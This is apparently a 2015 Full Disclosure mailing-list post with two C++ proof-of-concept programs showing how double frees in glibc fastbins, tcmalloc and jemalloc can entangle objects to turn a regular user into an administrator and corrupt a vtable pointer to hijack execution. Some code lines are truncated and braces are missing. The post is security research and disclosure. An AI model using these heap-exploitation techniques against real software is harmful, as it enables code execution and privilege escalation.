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Date: Thu, 16 Jul 2015 11:04:19 -0400
From: PIN <>
Subject: [FD] double free's in glibc (and tcmalloc/jemalloc)

/* glibc fastbin / tcmalloc / jemalloc double destructor/free example
 * This example demonstrates a pattern with a base type with a protected
 * destructor so as to avoid glibc's corruption of the vftable pointer,
 * that exact condition does not exhibit itself with jemalloc, however
 * there appears to be additional memory corruption in tcmalloc that
 * leaves the heap in a less than stable state, however it was not
 * further investigated.
 * In this example, whether vtable verification is enabled or not is
 * irrelevant, as the same object type occupies the same memory location
 * and so all vptr's will correctly validate. However, the instance
 * variables are shared and thus the objects become entangled with
 * one another and a modification to the state of one object modifies
 * the state of the other. As such, the unauthenticated regular user
 * becomes an authenticated administrative user when the instance
 * variables in one instance are changed.

#include <cstdint>
#include <cstdlib>
#include <vector>
#include <iostream>

class user_base_type
bool m_is_admin;
bool m_is_auth;

~user_base_type(void) {}
user_base_type(bool auth, bool admin) : m_is_auth(auth), m_is_admin(admin)
virtual void set_auth(bool a) { m_is_auth = a; }
virtual void set_admin(bool a) { m_is_admin = a; }
virtual bool get_auth(void) { return m_is_auth; }
virtual bool get_admin(void) { return m_is_admin; }

class user_type : public user_base_type
user_type(void) : user_base_type(false, false) {}
~user_type(void) {}

signed int
user_type* o(nullptr);
user_type* t(nullptr);
user_type* h(nullptr);

o = new user_type;
t = new user_type;

delete o;
delete t;
delete o;

o = new user_type;
t = new user_type;
h = new user_type;

std::cout << "o: " << o << " t: " << t << " h: " << h << std::endl;

std::cout << "o auth: " << o->get_auth() << " admin: " << o->get_admin() <<
std::cout << "h auth: " << h->get_auth() << " admin: " << h->get_admin() <<


/* glibc fastbin's double destructor example
 * This example doesn't actually double free.
 * Instead it takes advantage of heap state and the
 * fastbin linking mechanisms to redirect execution
 * flow to a pointer of the attackers choosing
 * when the destructor is called the same time.
 * When vtable verification is absent, this will
 * attempt to call 0x4141414141414141 and segfault.
 * When vtable verification is present, it will
 * do the same, however it will abort due to the
 * failure to verify the vftable. A work around
 * would be any condition where the attacker is able
 * to reconstruct the vftable of type_one inside of
 * m_buf/etc.
 * This condition occurs because:
 * - p->fd = *fb
 *   *fb = p->fd
 * Thus if an attacker can control the state of the
 * fastbin, and the data within the chunk at the top
 * of the fastbin, then they can cause the p->fd linking
 * which corrupts the vtable pointer to point to a
 * location of their choosing.
 * The caveat being that the subsequent calls through the
 * vtable are sufficiently deep enough into the table
 * to point past the end of the heaps metadata for the
 * chunk.
 * !!!!
 * !!!!
 * tcmalloc seems to exhibit alternative memory
 * corrupt which makes the outcome less stable
 * however the what and why of it was not investigated.

#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <string>
#include <vector>

class type_one
uint8_t m_buf[32];

 * For the initial steps, the biggest
 * constraint is that vptr+offset to destructor
 * must be greater than the metadata in mallocs
 * chunk structures. In practice, this doesn't
 * seem to be overly problematic, for instance
 * in Qt everything is derived from QObject
 * with at least a few additional derived
 * classes. Thus what seems unreasonable or at
 * least bordering on it in this example really
 * isnt.
virtual void method_one(void) {}
virtual void method_two(void) {}
virtual void method_three(void) {}
virtual void method_four(void) {}
virtual void method_five(void) {}
virtual void method_six(void) {}
virtual void method_seven(void) {}
virtual void method_eight(void) {}
virtual void method_nine(void) {}
virtual void method_ten(void) {}
virtual void method_eleven(void) {}

type_one(void) { std::memset(m_buf, 0x41, sizeof(m_buf)); return; }
virtual ~type_one(void) { return; }

signed int
type_one* one(nullptr);
type_one* pad_zero(nullptr);
type_one* pad_one(nullptr);

 * What we are specifically abusing here is that
 * fastbin chunks are not doubly linked, and
 * they are linked into the fastbin freelist
 * via a construct akin to:
 * p->FD = *fb;
 * *fb = p;
 * This has the side effect that our vftable
 * pointer is corrupted during free. However
 * depending on context of the application,
 * this can be useful to us; although only
 * in the presence of other failures like a
 * leak that discloses address space layout
 * and similar.

pad_zero = new type_one;
pad_one = new type_one;

delete pad_zero;
delete pad_one;

 * with a chunk whose data we can
 * control preceeding the object
 * we intend to double free,
 * we can seize control of
 * the instruction pointer here
 * providing that the data we control
 * is is outside of mallocs metadata.
one = new type_one;

delete one; // <-- corrupts the vptr
delete one; // <-- attempts to call vptr+offset
//     which points to m_buf[x]


View attachment "unmap-glibc.cpp" of type "text/x-c++src" (3103 bytes)

View attachment "virtual-glibc.cpp" of type "text/x-c++src" (3653 bytes)

View attachment "virtual-staticdtor-same.cpp" of type "text/x-c++src" (2223 bytes)

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